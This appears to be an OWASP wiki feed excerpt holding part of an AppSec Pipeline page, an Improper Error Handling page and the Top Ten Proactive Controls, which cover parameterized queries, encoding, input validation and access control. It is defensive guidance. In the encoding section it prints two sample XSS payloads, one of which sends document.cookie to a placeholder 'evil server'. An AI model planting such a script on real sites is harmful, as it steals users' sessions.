==AppSec Pipeline Example #1==&lt;br /&gt;
&lt;br /&gt;
[[File:AppSec-Pipeline-Example.png|800px|thumb|left|Example Rugged DevOps AppSec Pipeline]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Presentations =&lt;br /&gt;
&lt;br /&gt;
'''AppSec Pipeline Presentations'''&lt;br /&gt;
*[https://www.youtube.com/watch?v=1CDSOSl4DQU Building An AppSec Pipeline] Aaron Weaver - AppSec EU 2015 &amp;lt;br /&amp;gt;&lt;br /&gt;
*[https://www.youtube.com/watch?v=tDnyFitE0y4 Taking DevOps Practices Into Your AppSec Life] Matt Tesauro - AppSec EU 2015 &lt;br /&gt;
&lt;br /&gt;
'''Rugged DevOp Interviews'''&lt;br /&gt;
* [http://www.sonatype.org/nexus/2015/09/28/devops-security-and-development-w-matt-tesauro-jez-humble-and-shannon-lietz/ DevOps, Security and Development w/ Matt Tesauro, Jez Humble and Shannon Lietz] AppSec USA 2015&lt;br /&gt;
* [https://youtu.be/h3sw-N2KKfo Pipeline Project Interview] Matt Konda - AppSec USA 2015&lt;br /&gt;
&lt;br /&gt;
'''Rugged DevOps'''&lt;br /&gt;
* [http://gotocon.com/dl/goto-london-2015/slides/ShannonLietz_TheRoadToBeingRugged.pdf The Road to Being Rugged] Shannon Lietz - GOTO 2015&lt;br /&gt;
* [http://gotocon.com/dl/goto-london-2015/slides/MichaelBrunton-Spall_WhenDevopsMeetsSecurity.pdf When Devops Meets Security] Michael Brunton-Spall - GOTO 2015&lt;br /&gt;
* [http://gotocon.com/dl/goto-london-2015/slides/DavidEtue_RuggedBuildingMaterialsAndCreatingAgilityWithSecurity.pdf Rugged Building Materials and Creating Agility with Security] David Etue - GOTO 2015&lt;br /&gt;
* [http://gotocon.com/dl/goto-london-2015/slides/JamesWickett_HowToEffectChangeInTheEpistemologicalWastelandOfApplicationSecurity.pdf How to effect change in the Epistemological Wasteland of Application Security] James Wickett - GOTO 2015&lt;br /&gt;
&lt;br /&gt;
=Metrics=&lt;br /&gt;
&lt;br /&gt;
===TBD===&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
Got a question?  &lt;br /&gt;
&lt;br /&gt;
Ask us on Twitter:  &lt;br /&gt;
* [https://twitter.com/appsecpipeline @appsecpipeline] &lt;br /&gt;
* [https://twitter.com/matt_tesauro @matt_tesauro]&lt;br /&gt;
* [https://twitter.com/matt_tesauro @weavera]&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
Besides the project leaders, contributions have been made by:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/aparsons Adam Parsons] - Bag of Holding&lt;br /&gt;
* Matt Brown - suggestions and review of Bag of Holding&lt;br /&gt;
* Lee Thurlow - suggestions and review of Bag of Holding&lt;br /&gt;
&lt;br /&gt;
= Getting Involved =&lt;br /&gt;
&lt;br /&gt;
Involvement in the DevOps AppSec Pipeline is actively encouraged!&lt;br /&gt;
&lt;br /&gt;
You do not have to be a security expert in order to contribute.&lt;br /&gt;
&lt;br /&gt;
Some of the ways you can help:&lt;br /&gt;
&lt;br /&gt;
==Case Studies==&lt;br /&gt;
&lt;br /&gt;
Share your AppSec Pipeline! We would like to gather case studies on how organizations are addressing AppSec at scale. Please email the project leaders to have your case study added. &lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
&lt;br /&gt;
Is there a tool that is missing from our AppSec tooling review? Has your organization integrated or created a tool that integrates into the AppSec pipeline? Click on the 'Pipeline Tool's to contribute your review/tool. &lt;br /&gt;
&lt;br /&gt;
==Feedback==&lt;br /&gt;
&lt;br /&gt;
Please use our mailing list for feedback:&lt;br /&gt;
* What do like?&lt;br /&gt;
* What don't you like?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Improper_Error_Handling&amp;diff=202329</id>
		<title>Improper Error Handling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Improper_Error_Handling&amp;diff=202329"/>
				<updated>2015-10-19T19:48:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: Corrected link to Testing Guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Description==&lt;br /&gt;
&lt;br /&gt;
Improper handling of errors can introduce a variety of security problems for a web site. The most common problem is when detailed internal error messages such as stack traces, database dumps, and error codes are displayed to the user (hacker). These messages reveal implementation details that should never be revealed. Such details can provide hackers important clues on potential flaws in the site and such messages are also disturbing to normal users.&lt;br /&gt;
&lt;br /&gt;
Web applications frequently generate error conditions during normal operation. Out of memory, null pointer exceptions, system call failure, database unavailable, network timeout, and hundreds of other common conditions can cause errors to be generated. These errors must be handled according to a well thought out scheme that will provide a meaningful error message to the user, diagnostic information to the site maintainers, and no useful information to an attacker.&lt;br /&gt;
&lt;br /&gt;
Even when error messages don’t provide a lot of detail, inconsistencies in such messages can still reveal important clues on how a site works, and what information is present under the covers. For example, when a user tries to access a file that does not exist, the error message typically indicates, “file not found”. When accessing a file that the user is not authorized for, it indicates, “access denied”. The user is not supposed to know the file even exists, but such inconsistencies will readily reveal the presence or absence of inaccessible files or the site’s directory structure.&lt;br /&gt;
&lt;br /&gt;
One common security problem caused by improper error handling is the fail-open security check. All security mechanisms should deny access until specifically granted, not grant access until denied, which is a common reason why fail open errors occur. Other errors can cause the system to crash or consume significant resources, effectively denying or reducing service to legitimate users.&lt;br /&gt;
&lt;br /&gt;
Good error handling mechanisms should be able to handle any feasible set of inputs, while enforcing proper security. Simple error messages should be produced and logged so that their cause, whether an error in the site or a hacking attempt, can be reviewed. Error handling should not focus solely on input provided by the user, but should also include any errors that can be generated by internal components such as system calls, database queries, or any other internal functions.&lt;br /&gt;
&lt;br /&gt;
==Environments Affected==&lt;br /&gt;
&lt;br /&gt;
All web servers, application servers, and web application environments are susceptible to error handling problems.&lt;br /&gt;
&lt;br /&gt;
==Examples and References==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Testing_for_Error_Code_%28OTG-ERR-001%29 OWASP Testing Guide - generating error codes] &lt;br /&gt;
&lt;br /&gt;
==How to Determine If You Are Vulnerable ==&lt;br /&gt;
&lt;br /&gt;
Typically, simple testing can determine how your site responds to various kinds of input errors. More thorough testing is usually required to cause internal errors to occur and see how the site behaves. &lt;br /&gt;
&lt;br /&gt;
Another valuable approach is to have a detailed code review that searches the code for error handling logic. Error handling should be consistent across the entire site and each piece should be a part of a well-designed scheme. A code review will reveal how the system is intended to handle various types of errors. If you find that there is no organization to the error-handling scheme or that there appear to be several different schemes, there is quite likely a problem.&lt;br /&gt;
&lt;br /&gt;
==How to Protect Yourself==&lt;br /&gt;
&lt;br /&gt;
A specific policy for how to handle errors should be documented, including the types of errors to be handled and for each, what information is going to be reported back to the user, and what information is going to be logged. All developers need to understand the policy and ensure that their code follows it.&lt;br /&gt;
&lt;br /&gt;
In the implementation, ensure that the site is built to gracefully handle all possible errors. When errors occur, the site should respond with a specifically designed result that is helpful to the user without revealing unnecessary internal details. Certain classes of errors should be logged to help detect implementation flaws in the site and/or hacking attempts.&lt;br /&gt;
Very few sites have any intrusion detection capabilities in their web application, but it is certainly conceivable that a web application could track repeated failed attempts and generate alerts. Note that the vast majority of web application attacks are never detected because so few sites have the capability to detect them. Therefore, the prevalence of web application security attacks is likely to be seriously underestimated.&lt;br /&gt;
&lt;br /&gt;
The OWASP Filters project is producing reusable components in several languages to help prevent error codes leaking into user’s web pages by filtering pages when they are constructed dynamically by the application.&lt;br /&gt;
&lt;br /&gt;
__NOEDITSECTION__&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=196376</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=196376"/>
				<updated>2015-06-19T17:10:42Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Presentation ==&lt;br /&gt;
&lt;br /&gt;
Use the extensive [[media:OWASP_Top_Ten_Proactive_Controls_v2.pptx|project presentation]] that expands on the information in the document.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Cyrille_Grandval Cyrille Grandval] [mailto:cyrille.grandval@owasp.org @] (French Translation)&lt;br /&gt;
* Frédéric Baillon [mailto:fbaillon@darkmira.com @] (French Translation)&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Katyanton  Katy Anton]&lt;br /&gt;
* Jason Coleman&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/images/0/07/OWASP_Proactive_Controls_v1.pdf  PDF download].&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/images/3/33/OWASP_Top_Ten_Proactive_Controls_v2.pptx PPT download].&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls?refresh=1#tab=OWASP_Top_Ten_Proactive_Controls Wiki version].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [29 Mar 2015] Added Hebrew Translation&lt;br /&gt;
* [27 Jan 2015] Added Top Ten Mapping&lt;br /&gt;
* [31 Oct 2014] Project presentation uploaded&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date, participate or ask questions via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit, with easy to use automated attack tools available, and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped or modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $id = $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. Encoding needed to stop various forms of injection include Unix encoding, Windows encoding, LDAP encoding and XML encoding. Another example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;http&amp;amp;#58;//&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are two broad classes of XSS: Persistent and Reflected.  Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users. Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block.  The encoding required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project and Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be manipulated by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation can be included in web applications in the server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern.&lt;br /&gt;
&lt;br /&gt;
There are two typical approaches to performing input validation: “white list&amp;quot; and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like. Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or other known bad characters. “Black list” validation is a more error prone and difficult to maintain approach because it can sometimes be bypassed through encoding and other obfuscation techniques.  The blacklist also has to continually be updated as new attacks or encoding techniques are discovered. Because of these weaknesses it is not recommended when building a secure web application. The following examples will focus on white list validation.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings.  By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” since it may be necessary to accept potentially dangerous characters as valid input.  The security of the application should then be enforced where that input is used, for example, if it is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross Site Scripting attacks.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
* [http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
